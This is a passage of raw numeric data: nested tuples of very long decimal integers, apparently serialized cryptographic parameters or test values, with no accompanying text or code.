806392559267336813119319363269618204704555720184246313895203443884697617178, 4339864478569312292891997366768972660818108112488238383315635464240221610602386 740567155599456231948820852628134170260484056119621776766194923485492622135, 7389521537875061750715960381396735517527851566685220996551323758796056348853788 941442014494132655109194994253237883075958245073094411523273224173764575000, 7115784014462769657011116103941162212071999678482654354295656735524947912036393 669099224644841849473954082533094155603295036564555036698655759890221798543, 7485126776514286983907671525283044368515827019505967719659762504094537138727936 726813562076085731501085572650620358469292461309317243982300940712930515103, 6954111305618617078622507806083294694484955856277328405635924952619101114704231 822648492675161354059348476790566057381761043120941199152951034391948440440, 8058936394021425996074344188471012209614211507566341984722511247408709650560661 431999644218298765489386849644531947764215466282055383538877144246232458130, 6263112096447251735101231494924825797123072665222296474056908364968135526533830 507087610532598653281525674053024755772692514629996624023874380909628896972, 2098825131293009290273730317125416257648374522811955699829125077137424794057773 10038704201341069264800621663862049625262891749100782705158314741676902936, 2554338337887770192170832329337539825744142308532965805042081883194727363026864 478425787454857849064345404475202013401575530416635641052641410176052072272, 2913714732302654847391825278471287972132515144843075731735132732264687145890048 201710133106746289718625835205146652186807536740532292638322137935096546745, 3329915582815584344073431280702980930442102857110234920102781121023573258194459 634972390704082638735031371244560461517463287977043429003851479730475778620, 3320169955003502738580872092726783643559781684646923693419010978807368338106406 7191096673481122081806169647149268523629661305901298498734534772670614704, 5443251114590306138491659258483298391673111529258735564865158259456052701926007 491021618599667834070501630204434242513275461743875988461042108566467389871, 7782952303279446768925018526917142154896072364462320167818681872493387313667414 870064387149751898686950829684180070830219980301898489477884521123399270604, 1009575915986606228936454681325159899511520993454538324992991444472865916861878 418552527988040273494019815984807192006645260806576867033191170696902956924, 3460949077960847654125602960420865176060879659364126180532617213005425732428611 81855690519021384053169010426775855749355336689434976762239421123506145099, 2391452520546422228642942778760827227892948569374871017130634956535961278729746 635335367090097518053496540716695698449025046412004794987795947478841113062, 5956572203853828563649665976801888873429915600765270126378222106547737811123446 777727033476035941300425448155742184248416246308944183768240121537359459584, 7590558916547720709924205400166121640311916370845905659683143923453975321974660 083805193130944089296271202077417138060999812019091935452103221301781482093, 2735397374683845017673077937686245543467169052818478556774133047244275142011773 88411803676423905332265327166744126852309481340530148962786811902798175686), 7274360875221885769791975616034474260836637291722526369271133337833612184733720 714953045529590895127016395073708368989429498742840892551606841730478212534), ((35417049148056855656197169349190807514283293636354204643147952134889966352846 35959690437611324000065149993232532961209709903895605150223648876412583631452, 3681254785085117759407913715806948374976900530128201256157007200814170347929766 594063103308399764276476220303414100623883007325240614409745139156789337013, 5835095642246870233469489869873115033192408788530122294215485987215873399322394 225921504176949266557331914905315680236349008893562227862533356166805320536, 5832426431388987792714606555585440860354676075858267441439791766492766881161303 718479453383005790752180267802935362893730367275405192783707233282291026677, 8927431562325545004713451683308984369552565307592967519464522035011953644050843 650164804694937844001317206959858107368310477817982965638380110646746831012, 2563515637977354109224335455490084239008026067017988671639934671669951359417809 385502542739887083743480996335462561492158492519577620143815940534369115542, 8761028839419711476409179032426091615070824657026719486525282160290059543527630 867863278088878503816124819328206842303318339859662075942192913193235808967, 1287626268701653811557364260484882676041832647171707926222259965400345993106818 631444293739819730454799066700460949189744346849044483311206855621263339074, 5860331414883677786617667705823455164647951507575595151410533179231529339283404 008569591010301930751597015419737707734951920863439205144845750946183857871, 3838447094943712758625923553500410955069498183108621166636664646771481148766953 304290871789082164721433160095380144793004933084934401929240623455968322874, 7179403158978767600324261142616996342386392542660268007615755548233226111821330 313081161703544343674498023399046634234402733574714568250158932461858309933, 5006448668814463421954095862252481601146729685161231324169189377451366560115551 236925363511544201771947928178830107952600125983108660021618415408182499017, 6762939428341911278164282317296207262294511037016076291470221059488885374268514 876314053522459496173549942773810124405855520187063931428929129157112187328, 3500462895436901854349213196141228822677359647215110273827312428461707711958670 423053365921044459726397800202951726086377716160034007812666387576212346192, 2154761244538532358455398495260123634202925645763219989331389259674813938292700 188772946536583418548491431355771411663537353806988139121123145167002057830, 8294200635756723728078759787689424467132271976212941414760045216400918462955096 126775742944840675508552134605530366474671865088731502085577630859429116556, 1381787292151764914292205919822062980982605517345403050595745690735892124377788 71543023448391312888331197102192426771601969964542344937790180778338700555, 5697939694177666154924473857585482244161286055798972260899331265016976333994828 491492037009188587822032386747537974577872613332722709668937003083277790358, 8318826065347296139162258110265747197881741511642297049596115703747225973029060 303797059551847922031660031143068186962817968599435537470539774444351198483, 2701030751123582210965321816110136190653594434025081932626525658001588718018096 402471406284165764756057747282452780794063148224143325407904358014027680811, 1754930872896222358028852534008694702287631440854867394147227385993641171012087 271896882725037072791538345547393085776447761507560545980143790113722476419, 1742783688095698524978651350217401729055683390265719998950602786988225138551835 542216154231672117896427431541584022340548714262963619931533311436910845175, 1649213580432211096024845312394882852361572711656594027970409047715536108711060 53418766828581915965499423947103547592768296801625037591170288230369814311, 1529574489020992626737270690495387003492349689328348592703244994238367813121773 372659381380635972531981044805796608148914920766003844658561869859047369136, 8370691285319079446755045819037001692444217018524204824386694144875348232503585 889429862547777275325514447772507681814522239799872348708695646685249054319, 4147628416088791278934642822085527764128026356108039813525047903700523434839838 557526910067282670305768633766795575598526274277438167856500138197837904150, 3754909775837579538237920731832524193633123505111559742541640902087003313046244 40144971499879704929749620493668640465808612058904065713663091055813485380, 2002838615419858365727125573115180019711696338124200006245407254802103532492916 347035110126667863955534487717638132359904756168463427912183882477782484503, 3398964670208279350973237281978497165488404000951440417356584266477689557766425 193725702804562596897439580379752721275685959795918297785300375982824146970, 7664946674179565996654552185599478568894100035646448511707294221820550701396632 362592736278533980324003603986536607371478547939597075991453063608203694188, 1848775107038922174247299928088108437521061699513318196278648780528606066662141 008916732464786097195165796984748448017504879547267244320823302318459092871, 1268860210704142090647143963246484271560489654545076943819935444642097294737238 503767920585867221563415427816802263942256814332767219101298536380568102898), 3481269171764494407492666432324218799318348963350585563763054547607028605840260 241444259868945685998770335511820918426124120739231990397838107496891460881), ((28380877814394393061958970568479280273049848493136746010648948581443683506802 23257427363155247630407437238139464916329601176123244345613128267358843611747, 8645161639953672341072072828699524399211215478454945971885673977210436807691426 720731981913407340084458527490457745966796915785996802840597196890562256775, 1685728790923795902606605965632435776707376297995243234611122750531312338182946 099908577164516486249899399045235505539569637303637414561912525074799021377, 4937856681816149489137119927847646848864341921132443340401631189247308505900350 992976499790836726276939403024296842716357295366863136851497985323310423960, 4150519539138113374664909533616978554499421216067917892168125941798318890657991 411423112493296272034605216469384147697484202370805885332836851195680848762, 2994384481313385714070657008041332456186770116911791578378566056001620488634242 930538071267867245028397153555629457656841490513191771590229764943364902462, 3784863288198429524572731811196898759264585096884570602720701619147682385851467 277330227205993247500941608697432549466396567632177561477638259247195271801, 7165218880192510627938136596877329365707212966859671025103185591077134383127044 857458853822673931810559937841247189936740312858563550644071126413277095659, 1495893440241814348684843294090691959741244150337842319150977529174896963778937 03924225817925393283313765920461387743414998362254770481201284897722694084, 6027169937355141203290243253335879175595623433448379528925946070050190469390406 265865370346356503772646635601233170891174286113291073326536026355912378351, 8508692623723711226380182446791598889722065263493664829621645273653360363131812 117682813995953472296934755324296826924657576369960563484782703506684417137, 4118106454057014591438777865917763479287778155380869536929962122089140849397605 378027939408952635790826516300331558134578090241114814519120911100566243969, 8022247692823603358649704098877760028281502492272857388382710523730322547719146 552021162295105792843246431289475558466197989843718080722869963992110237159, 1134436054236009324544096466527794229338532470159857010388212477195662442649313 075350619868210006799347045580746200106266590820932265336705033004795943205, 1444321400527833238376435626956995414000472056049826053078288763001449020041528 918299783886575831326345187706450734641153727955695915858766152825361463906, 3649288013670159513362285456732457004144047238265908553792610836225777669470862 477889314909914300535210515865140055125366424375531850639527059161715946571, 8497240613572857188388644768984049057366087857946203728639176466240665516979597 586226481166508996987850454591768949608019997853472637405264474620643510673, 1115208387349297077679842453099043352040564991662735039989643476382089513438609 950786560832383765826274913170819061442215664951804767507593729890806197831, 3252092277708513993930256093648531198497668330134515547988138352625484862629244 513302720278689343573487197385223601222911176623513417466364487861602740404, 4137586896777180476078621486507525782408280344477847660072882147457266272736387 774109355509638689866363332658634161260554270145997450645971213880305828745, 1596617540570891184222012161020542606108077478050713902607946070452992558413952 902899730362383846224460838578679315581590917497315212111112376957880445023, 4601663539211175319489022725072110052525000595103993913756761855100530415898000 379655775701092629659985102030374207594932555769688043578798103352599769452, 7788204316790435555151512920074208482807034545894856364159804152813582695186159 98731859817360075099861666870369195506190201009326720847839856859248987344, 1099466621398155339078513051827692547669560257498116914670053233152179620364413 54239846573897355645419754054898398600424919279592801801799234706274532016, 7734674780959549032789224691619283696451548242334682810471263893985613360713583 288446166095481371514863149520783262668157415867972355209281856792058478755, 2856643376269851235813927772308119456960796677148675690301103943724021722298796 985207925786950739243472991274668602557710870860436404747994161394777773719, 8277003007319890617353236422574663255050045168235669194859395305784769533350472 715801016157003998980247846266618083585156510865345264289233949521119327528, 1067851907772684389316666211344641519577578750637499085792574298758167125604081 822157876934333507321704147922452391454313762828662009315237586793864090094, 5413147386141626781888894135206601620243001892957357010717162738534893505613565 784291188272470417674985858255914738831978216554002264431719557279669325153, 5153709683362216262361966503082292808477474683745064268586017984499863873527997 969260614703805547132643326818793463678697290691555442066596716894776514120, 7217187788849897100357670617594818490919887493280279215056689902313333382729086 445095720304955944137499166340390612930466460826205155459624831292482218633, 6987788386498261159513693016950019422938161598465086992660516482833033698225783 154150835818690167541393308144866887668924657029881531172554971224688021842), 7147950994168642413950902185299709356268024766125011686135646915825403485200359 806571239094044949810150521244758168683281952744129721764043921004695587154), ((46232222528835260280680922100213909681435416010743994081501996336917467957573 28498184189390823975633211657165738501264098954812550069690578058344439906297, 4996074751929403868924985708805183527150635037063954551021071232606647798850388 725587537008308948745313501352689953516591911109343611047607785292048882030, 4625338360499120138542518232698968651624108435527233615296344816432911167401790 897050976817352586859195535389851909723393937735707088825784813645199457360, 3357679145105988312503453930140886402746797612243289412093800333937692750247501 386417842250453549825861046539142778407870338673860337161416720791721327204, 6682622081293935863388227840539277321249906507589038703700032962980643289028676 777804136382317052219902764044567348384343123281622702322797734136480319089, 5980898190755855552237741527256084711140937694893164640261436110282422027068476 845239369417595054858544997960794979978863901997869282733815941100953296897, 6226000204935825658384403556568054122439366807248999592888207380635730958168243 319213098023193684113334894462163270055471964271543217448704518473016953175, 8659045602589656245519858608492199417858865429069071737738097568600637917537538 623309621216949126002065851487129932530481644449318798703368414259011554270, 2345209055958137497198606331247072329735115798285240262359623077303003618253159 565682756922923189914152395951984218046195361446034683115118574628960719726, 2347612195951143291500350606095813083485767207286873984431255504635623246629410 794621090602028196835859415443011258330887021465253480170751938847985195920, 4016759410407702571107279359183437051751781420402725558755007386374787499343596 091750792515191136499034153234293518494481580234521958473629946681253044252, 5857652569729815141621699365932841819599354119548346086649462320921458586904997 881169081429746744214291172642518979702814045021480950950631205029375026691, 7949810519717911703003585652169631110090264126795458447048332467456028098564607 105314350387539363813971131652895999657127308975241017724028314141806900825, 8539415443846325694189230573367820881485852061227994488073496437520688206081016 982972672606561080487108676935361251203648677098340469347427857822088130355, 7718830228812760689912946316975420901729937360204513492298170052545098215673976 919632242762864684703042513255998430338737909623660189862584367476951027945, 1186089648542937471421645514894960120740297042906473709537602380063172369908692 700278011412185874024547534609366825296763894878948228894796712310249256951, 6165072600601046126963543559324761219071806115594099433408739200668478556949616 590720235335768538090755186424702004590235867764695840827396619616561402913, 5160190924999883214979652459467322426585784669441530349745209923697221248195954 238812175958160239793249155486777107478725098317214013166950224746100806118, 7995751550772940347888954017199584858920845296126261094768203379574736694238039 674838883500453821396609120715298126191900169966119438852147252937107889250, 5731199752165113062092493112371327667061504234995482420812872968610502242353155 543457454997183488721322918930789668430037379747800751754379873170656311393, 3128839780756678472898252208227212211114027972011079826375537412206281242562142 014445608108148697914315554009841776742256138114511384738945996031571172803, 5590522425596348113926588001960601074055383319902201100386622913646175201712324 30747856922671312818695554170174293240619730025514243834578280332057201585, 5889871124464693254468900805555708197911674823295384816058834636524374320789148 045193011198171542319164934048544921539222368848684728949765367504544938312, 4191873263289590951673071982387930734351964428119079453476447564354885873450491 91527650152567899702481464089772275602535427172129293881631955583506430204, 8830097230971905078900428129316820942342334700604891236393258102382402483218489 915580652217040271779396845317570867376359921588725104218279394285636750202, 8602612259855983139883624947753987950822400126518867097823811754563500420881840 453826930599032897595501627732350632851036831147645315368055518815124872923, 4807982248606638919481628301556990645289674735543074881233035861955483368725183 29693521331695225943407580541408750081981898818850208770858967054044174922, 3143872013912177208954949584974084520431041910463740187686979250061127974750796 264205043541510827717418728987495273098310208024572543630421357737483086960, 7676694087778105270356265935080425259512007291646427339544496939434482894971397 201336395103225304448168762843015890106148357679237860152079546094380549113, 7670819828626418239404753170585445066698307925060984501757227666467148116965730 244382109739988238192100453092015720812076804371430324013664756260469827395, 1543203287552473411101902289776706532335001689748061988638274666072609792512739 552460406048632455717024278671511756800923186799466899009912226164828887932, 3491711971569171672274407667740935928690136324567449407504199050688680638408614 106305394309357206508396992850867804778394744234991166392108645124667471464), 5977734930458247033138934901718064020661038984273305902041261165678711463169241 462448189153406113611766459241348128347350248509326848192609685007374094015), ((64805483835011210173243816053281403997234690737339797384058857329112879273804 83184131622621757279928131620344860896298521516801618691163736306008696630026, 5206332941135841608511619016838802033902845230488998869398430180136922587857887 122030688207016310835855528065533533220952678717170961483275850551774065818, 3569109861725493450459590249327116319446681859781196377279326918562629742124454 744809150777925537679349979187208451550294609772490368250852610850609394693, 1999791013772419065860684250796590604316495056941950336991954581786583308655424 288866294103243305668124050486476529771892727137512949168174064915642413953, 2629741272962088377149202835780049321115843730346763896188447657601616649827717 33665285186143501081646101190542035497844922247959813247352457427186623394, 6842955191727482269788361865158995174388680928265014220140870437172861596064979 44949837190464320531948176597387134254545841084866423241270281934522200837, 8903199030717845967483208197556230865732024382042009029019436986165457882424224 489222640074182717298372188814434291224289808236041172003481386957762571727, 4190522135910513910417874217577017368667323424651655874659348791641380108070856 768554953669675070952083118215402720875946019468508029565939068105742651703, 2333223618680189853055073005320154741562664123739534326252933033495200810328360 494562814787486479316276222634931920759423010516220838233817049611003945546, 2506920062551865318499145448817882062511994404629085952560688429476013346683197 399397417817459043621030542780744287461375204704523582745040763667613363654, 2947548465480483990967662436698008864809383592439439541530510686421147903158558 417426204378408550289164773537006220878844297350464383126606635508124465517, 3520688514040933081564701917885225835225929994584226082341599927045040295096430 909488254862295483248995442126627376522668938824213563098761632695844400740, 5588078637138957684320148561214006953920228473077156978618138248677773707575954 89309472787510891742648488488361736310343477276904275940515409773542199382, 3672399607194495896810077982066795936796450987136770862517620727819999412009478 170004442715937183192718422778651999413213363480915818823316325040936930312, 5950440799756425500615060547320394168135737305702573575519183851483585748904896 838906055768715627345361570255984150346320961001368154289881349245419643631, 2102666671300922068103531064997654021317326925167749091175423030201112880180790 284917839975080009035809896550025743500422659759024759358839903931277528927, 4467281607790698189782852034071240515806078031102392724089328540917929166011949 270463215935559136319817252590033357695490252415263110945776289512193860839, 4527359098324718041187615092460755300801726217524715656399051766359691554383207 524375772627135206856310972264680650415578609155337791876172504826485035216, 7548626625442371399307494856274746082107370997870029414072879026642014962050341 157815819793489089460976997614071198720765548066818474560299281509212128674, 4309469934041781451793485863280311844722344700061391791480178249080432047294339 473724240950490362996799815407521606236350877760374884318565602072793247450, 1351053012692131193013916158819374648183890551468640747270524886012888443624326 892552226825019525271248523665273917652454930034187468206613354489725952999, 4062775887747623701704629571127237756883470655303580629599834350939357028539030 251766009421500662441335577614967632029182477907127343631265690871548982601, 5254639744842573639814798606620185602664111925040235132360190954098334605501605 034506024138306917868300002959225296156256508780683881603707212337772410267, 6435866817784704480613294387724836321982042886981652778594285368729008049965408 5916474691097346143454986913694239329636103966824238807585198288009357072, 1120760274320118776439128308782030174791562376860889319534848972558752916850865 722869278271099369309546312301833195539865193361609479800056884387142234939, 3652372212868169051966251952864368917067267128536293086661660505230985396605160 299546968906826780801992837772290424520038542915632792160165194098597991267, 2420041668229222647722911544154096661010966430314327991164542257864240953817368 676465622963075825172294955306012337146884181492263219389228810947474582977, 8798245798171933820944230252797963925133051142639054786163861643379571861572953 93623991601689826830419065541302694402205255365646013596641003777981503863, 9543356845661504849002475340576173543320439850942378501802383100808382522698086 92380708562494002707758278041711658496349143747127848667035347965510455183, 7755883972257845271460497919471739795788624206498055965109105068561743737298951 060281759756894133753144057520398669045358349784115063102972657220062283167, 7964328439162687260652346079067916438394638996375303210778879080597134989726038 168920865476030271010373484320747452590301722108363438696629938014084496843, 6265550811552185351454728455418377772233918898963208636197006162445346187489717 692992368959528942240816518305242923043428648952967000701482265438931009928), 3121740975624971683325679365626107287531158481221276027864537692703202890546123 490890985967110175352025034425984121582720290403759152604143338279637605782), ((15940056029689040309127507082847223944898254299137855858762586289025570331136 45362731183835548984189119039707240689528785711610834841051702304060553915775, 3550863062658733963704164849184199998487314917143010737433256058750469032279362 703286415338434377861170322556218503671507367806834219006403715796330062155, 2174448003744717639504743070316306065421531025831599933887546145182267212865347 787438451644168385845195952600936864421561335310511382055255466478979541045, 4834255709602169601546457386881969139106456502212968139635704452391693643980731 650802523590389739465118030750219856451530419001808753950767957612694341743, 1260219345264284634192986637415260752307468493854838466601017159757541436564652 460854588216415464833081396815035152300962040668450986939624028072337632803, 5074307914408983740735776156008601785726612700835404917196872830662070860079475 384107995792125877000822820683384997839968895463548749164926443158340480317, 3226288929782807092135211707143714382046758856173691808212775037609706606606005 31028222062317580604904704052331753183742030538970148642732374119211099284, 1556961270794766657572408073199825708863643119809884222895346793641456117824648 551757685603281553911711769316395215587196175841272382466928958320998827545, 5155741886311349530396747810923312137219377192650093579222410247634118751230644 594557874708911664934293232699306197367730164155406224333630396783177147522, 1535712802286364110332664520549526074707837124321905770118221403153808027930061 952766028816117667292406282424545114102556359261395838044718691488576400998, 1760258556085365531568156462935022883648167137447802084796822027121194213106270 011097473570277864114148439927797225681286522635872400134928949863360577406, 2335151729766101954336699709439495408386719926001383998225926467011684304763849 734661127193586392927740057347182467695792501591897363665103341741196522331, 1305140181303708104331800155244183501261157765307228523730976065295805231112755 028798682743680779093930581963104271961968434052691947709125657021301416730, 5879182757200802160632493654931828414463924945425631934765800943802900722502640 383605688664699180572928570732154575743952650311198997233803330687703003004, 8207717963358100840932195091405517901687172811986921713684663664524073169891181 221320708438290512668817540835399583415615974398775564047155573498470359884, 7594490544807389151862328330557291073831812446093131652928487101022782840964745 370035353653108957076191795482088038259745630770211117332726687340632662043, 3039883568657646186567598216002919021852792424278775864058064356970295632469611 570563295345652393682978375544195072047989049623948167695032686164234657280, 3500998045940335807111708120653113863080076294629272869331155566039657363788042 121055107833974646777116291446378183542837540833924294107710600946419098830, 1819586728500799307049185701448283792101643573680637554531737343490460154675670 568594311380636126038748817252356016655110234320358182427045452999154734354, 2944889550542356449512321578909063793218664779282522258621372762857060362346704 205894514833276151056237727488347110573296956620285769397786027760631623820, 2912225324256924240770161920372197085351616934001453265505738683725531051666139 941193108343841253379324378462534438511919362202092728372741734301589638984, 5963673611976985480187681712191303116323461732221116575079740925077867796957476 265309557785903961881614566867005224255160715362028724321568758654061244049, 2672568021684157106973602736151912427378193508249010151524467690524468180062751 831557251810954990637721779502103769539706047250925362632876206059871907285, 2326551460963454365745384193447168987494293241399013035799553952076569616469954 408720760331483017940218627888982092747413275932319017900915392508897608255, 6855916367135552149361405860078722883033211335471179826823338332119507014399788 904680287964557278706998578437150011616587644945309482983813125318456117869, 7523340170048917770783064852174015790644248730738612061941579951504032883647437 856675633236595114798314119262206359947891586345159417206775280676170479688, 4419265922921327812300535916837882881354414170979983046689448301026688945091908 521996830028223757107661943741187485124189062652899111482975128664888961055, 3386309543022722856949634964051704806532198499834580112125181256093055581393653 566994622023509129515629284771312447671744369548223782598024930090026844865, 7448760128201756320782989465156143098326950333357059652121727911353017477230648 343858612888949747751104449858771982605354690811316632882591548001633510880, 5824604577853549572997814473876035853228494164987165625480711770620028435277475 904024871127617565773847311703606035385679361959610768951164794996206299065, 7212153585463398068191994077549800595021307320918717988033742339360307820254771 793540754996835564298553451983011264652608788282797816487418241908405638869, 8926968144609605735826701582483982477241473651925073879036612336113333582755549 211493641931736448039062882767845814708619309298985375956291266120938926031), 6861963144077438122788131528025028564688380033131864248411699403634452862659127 962695929069891347964057233450519404626988756957925464900278930141160050043), ((34059317463334451657038851943636807433748653039026045026714600190145820055516 84203061301983628583443707432720937277105267537289932876088894524814274355108, 2385653015278456721525949571853068362816762375541511564584593577175506104426247 17360140095721868054127843092892759065414233114385764021415195784001041380, 2728696441846728591038225085976678729793702873376372244253730259379903456705562 305546901230305366554869351210631242988901814856307925877634268037481920081, 2570182870443510221206712457740350129649852832069727779086641920603029358298431 756338116589580819261059740312371739032574667212496435678327846759790988794, 1816270783032127839709057182089522147691718484812536920061728305530390277259196 414335948902447280347925562749865176811871509584976051717046524145686020551, 5081662447249023521142800644939465041431187376679285306261644516663142950274420 086419354186157205367162450798448069404636070105245069785019926969846046857, 2544195948959319932165477678092444030052992217788458134187079774132485023185947 947972697299503964356453610019947356974068486224761588103218637700659876450, 8075336082208177851445573613183063094348341858834642986200379039864063510656886 625084236876387004287124636408889759095645579364625213206591586654388367186, 5304627607794988763308441715439323200590092937212816939142423879555372783051052 599351510446590901779205397565995013595171405973762861023429085879569781239, 1505234591906827118248416860329186097972543146495696749727395447687275064172396 048545975140262857579800614562429287309485051181904395971753061683615872696, 7499270331506729486068617410569063851331735400483328603754020441639969988806852 937955704938866104805922595370527137994760299164946769289351035160224107362, 8683133710434790772724508579980621681227418162286753804644862528643635414535271 694924435846136456968958789709112342937400733935161740137170283273554011933, 5599236500837161420409861671428304847471005037148604226903372552842251998751678 60851756971792167459066831950811026205136339731503138116529859541811252831, 3604512018485912165962254938805611581926505476699149590321107326178927798956465 438006984323003318807086267410867375760972726969575182375302611713166180389, 7023727195653501312357772536711158906744982147493445070465822829916992028903859 086320116892456879509177331542786092889699917635526439930067549706297013797, 8706598768188910359172698266616059649670794505706559238605975767639291705219183 842138910441170600366446611310341138229921211253081675386021253699862948428, 6314140042873095396455404946356368133906256068189960088462637932473258011701534 366061817387610139593126325699936578532513036248161427645330929919991712014, 7009237411530560626666022178832750763604214222040770471595159194872928830798878 790877332784303050577741790095770287912851524237026422312443124141858263510, 8272953032983563939787596447207011678632601419722917249487351336449434819638690 412087615265809125855097068040597953839341968638469984604571538860848405900, 2251888482096246870699782322648961270190175380297552988638920584156052075044364 84814272310303041058264081232832159793510099487672846992177098907599460338, 2618592906461110750416407484292019662244319029917943942949635129524252624226867 065418261769928544311709668485143305195425690919747136976035575184735174881, 4906598068107595299489851270288775995729206964463493780268712659809961822495012 491284967386741107077755541347266790137176475205490501340725918682999122334, 9754949068508858001957262342202957696833213591504789486495829992477561240750279 34699065761634796422578351173372645458483202387354073040230288361160756498, 4868711812697464120037836606759991194443269431315637936407857451798928458533784 835176986683343609127712401849426087515487325382983361647297465451538727068, 6896332452456114378132633036563198837721934171740217890517151313828565849519376 078408748985956189361428296943289891691423649590272397431041878630419170248, 1325222949882294817831491888168885228757987599043010697652819806999336466138058 956713479957773413988340455644777566123956780467579938484807167294559998048, 5001107048905326525639815604947612987393670737674025590520671071429185512590110 761803898185769156538548372775385076729793160969404929407571580665189513962, 5932389310681748545624573504688758572376144182363811819387822502890413101300187 497780462041947227109588256109376857137882506451953914218783977851901958652, 2030817446480109737015517655648920139664056835743433042432786470742073492715928 002642107423503363942655303518143795443474243668147208963464248398556884495, 8386296349068034744880191366044837527559368095913708514719841663974780861565864 667385643305884421582050410309113083828406299439875279869268999598670046175, 3544915946847716125386775512887590488123007656131719650758392722916739495030527 502275097352811905681459589905422782848772707381240768141801160158470657624, 4820664865725537316160333812588177044658307739514412251183919455812106351168216 502754827116469916950784455616523906206933914322816225700994267158443572027), 2240914922480676731682863582922078133514267530290446925898213168962233144659883 035539763393488677036484282890727671908140967579379193925125148944598919139), ((25534145248411128621554532653081675937206883264673913648028174967304820610913 39704154149682500036580498295462933772210102022589684490672332176883997860639, 8532095058416781345688987782370521470858259976481311735768861128886641471200036 458551840682127853088083423232541607328180004168545729971095990130995747448, 5311339101868203968396369063202955419099207742866406535020890108474700918992017 839451307010939861847799091503524430032999316959873559061908837179181843849, 4525570529214813091519169271511023981848933875568351579145180534135579282639897 506058919622772305493232941619077003145583987921482958939782731306895197302, 6522490604425593298516423771352870558510193645086014287134658996177288637894400 195452665967299883981613852402285290303875701835582156462088172773961344420, 8795583042184430999040872277186961856263394550623324534582859274836417013531312 968577969956695411303822421350209590518706155676444638022592742773659854769, 1558309523878954638848720047517259815338053623280951437082956801831327642269042 908738462519310852027849847568831213897040015975417501266857577801312636575, 3052878561787736445803681288449526400295980540360453876715038311759795255607509 35870135784378055270762925341756808481523137625660230747794126096871054799, 6423735960720229989586947609053526911660594467556243117421100973666676284553220 855350029890872263660965650525013392331112931194918083228345924853924793100, 1308651864480452579969867791902218374633253121786249279163033330904101731619834 542176078767980217341654233559957326586710612255348097616345906140683341654, 4974286328262026407580237239839943869235817920895335785323405955481498314832409 168179575053277158701176643616782476258032378517218017441407481161307901496, 5429377843879656257609760144385978753333236160346270640889771251196532066636679 736724554727244223869779377568087179082260644099427897394664421441767779345, 4793764113589912731862281277538481449423432877673058885246983075447725215668871 510114395389698887699679585618925692471562586752564568292722663223832993844, 2422679160095563127058040121524680704334991434562472215912932603657408482014008 401699231988818516510708528363653703675987511487018095016867328771284742188, 8483943347095916516531151307724489617277438051023872748377106745863861332626869 613526859298526769116810890136685613463670801252955645715064281162987860919, 4946519869954226265247608906601146038851850893626205093685987324768365524147825 965877059261230275654720848431988452119666525337497187177033152005111775619, 2242205559549835081651803243273637091279544798462096368870234770409923072183012 754774533214655149417846850631503732961303634025184501064429465465645648217, 1425424698313549626576608966308868955057406704298894558697679112963079818280596 219364586656983073547693172582935957303082102762771183573856626242240377980, 1729281735311543503756647485772178472103227103067954782759754205468389911268059 694140025550260405667114347813394775314488356773704697278356949354230421346, 5747311602314725712249246418648384638492872391937234557021795611547162992932041 606680420672869632654048772763148330647947574342117726943669487929693813850, 5627073460769760957922059772857638634414404408945424213600440331161557981667957 406828009613473490652950014496460956980866392797849647393220419750668084086, 4836215035118270068031056909634767069164499485926936665788751508028668468907525 695164678849242268733658560643789781972252320713456636394479664615329879719, 6743353385321414863625577926868398436562360694470740316125156493927153283851518 187881400248959524147722363596821078427721567139121348050589865136595160961, 5941165391232564417068639367583911680283080015967569109890704066555199379282558 027745941397651249748606404650452052474782665274829223720006262381076252375, 8270232390127460346281713287278495568764426465299175615481639387740241630660209 909712549638983218041105177657153604512520712523986139119822510060844603733, 8871851139551094762781462378069555328822138891312411659548085714570488487717246 095887264895160725967830753025803875430177448529327243041383522052635084414, 8834866479087093260117427640278281741306540883444517197865763567117167195981911 004380428485908584146468545511943217544158946350225347921745844008214649610, 5924432289678831713637359267340042184106935270582483880318000003496534686924775 124759241323586070248380784575427132349076007994506301963711579248176465080, 1980600992806242891756819387077013697389598302995439481852566077415748914383125 472752409166297963039902464307250031960744246285275127439861366120683020853, 1796284873692042134861756485324030176833588208999669915721457447215309841231737 711979013542850965973721485216207193581221308660196760984580573000103185405, 2657708208034338855091838635575647493747029599764789254826331806683571902603449 959950003361551326948604751777419201977124930796309135245014542311743619614, 5616135024003818763640101200736022988537352032209767358949098256980895481696022 43816298218901168821002677186160401652692161523482992677111435175577908307), 9883651340877702890970807054320080822751627288381674617396409437986761594508934 31757356915444268857404412957245027799876189852623345113523020620446107897), ((39329057986493363707701436700986360788959686613752202655909782480347233568096 94686043348257771222847194292026606507731106631846910056178748265027740615526, 2663028891086825266526426710509053343330623581905112153157458879766041333515804 542564904018677123943978602414238797240957874610606841224905996632662171520, 4180925964649908242874575421987975659579849346329043440184998760300247459277948 079372017375809360558539924303866837830251251981187036056300978789240194959, 3827901000833178781236092957834969591060209072732138694655223722424532357620082 691024998576739974569240505260651660650782477503179051151323445363956473879, 4800032118045687222013991268316519042635967058305427409826807696757596523052566 353697635279982446886450907450955836868439379715148360733949890820790708016, 6127190794508885053958075759291573676490325701416863747295557363442476960712090 794076393929456099414959285829117351387080476363703568624244494210768486299, 3560224192482151782042442535034818030126564388150667823589427016162100552749064 804470105215075523190689208144750631842282215126857402328979696397520851099, 1489533551805553667939640148160853400604304942882500309665249276997220493811036 208959165974677321421472773719780075999831078632907023879086414970496053434, 1866318071374790000414920799323367452947900165944828892701243771529882251440306 0039441239542679193948014213633651157216010977261849413212832200770066657, 7443209700265611418604648611551099837408264194178410911210586269352825156693104 651223220986305781142140282150034993477510089413374452309638214456806113350, 6155623877766556855336991166055704959622006083530957640237297052808044688859258 285145289085071770824446045448157308398106814469245337044147470265321261107, 6891284831138317579695157892838082101201565149030226012545350335763120350598447 697794672170310873977992042001140157329845157832312383999236367576242818300, 7051037910684444875275713608345767227839839538176506559270545872028868367698800 249487125892176100146083065943562900802568487116758238734901300688897702148, 4307259903609674180594480551032862228439103335507863130655122258881064335530254 997288758913563637552019485180429765333506061921921964941162824588017546178, 6870778294046543736601201742794641498954381485242084765257579979853129645052182 392614124939963378068686346324557882874834370502566114183545987505904736072, 4291865026878370603697279737928016263584067907505722798842602395107625667583420 525853557791640489945807016248368374543049522396133476006363440783329587657, 4617494149188078167810490085740527072808860905555336871084770197210355870135743 6113136653904480994746601861561775832604089739738415325808608413804744698, 6086472599089654337927445746799171842513302952463124526130388732476921073201512 333730025656241341652831754944978864788656376195050737486754012081915938580, 5010307217235163374014004279020091167968689118764185374543346115535647255163770 015359771958741894131618063651384637353760082965547528413138241358676290514, 3621725739035857699758393139419758342698607059729918773309273292199684581337020 830284827580104749133722086365848266510806838688903578664815749414262862808, 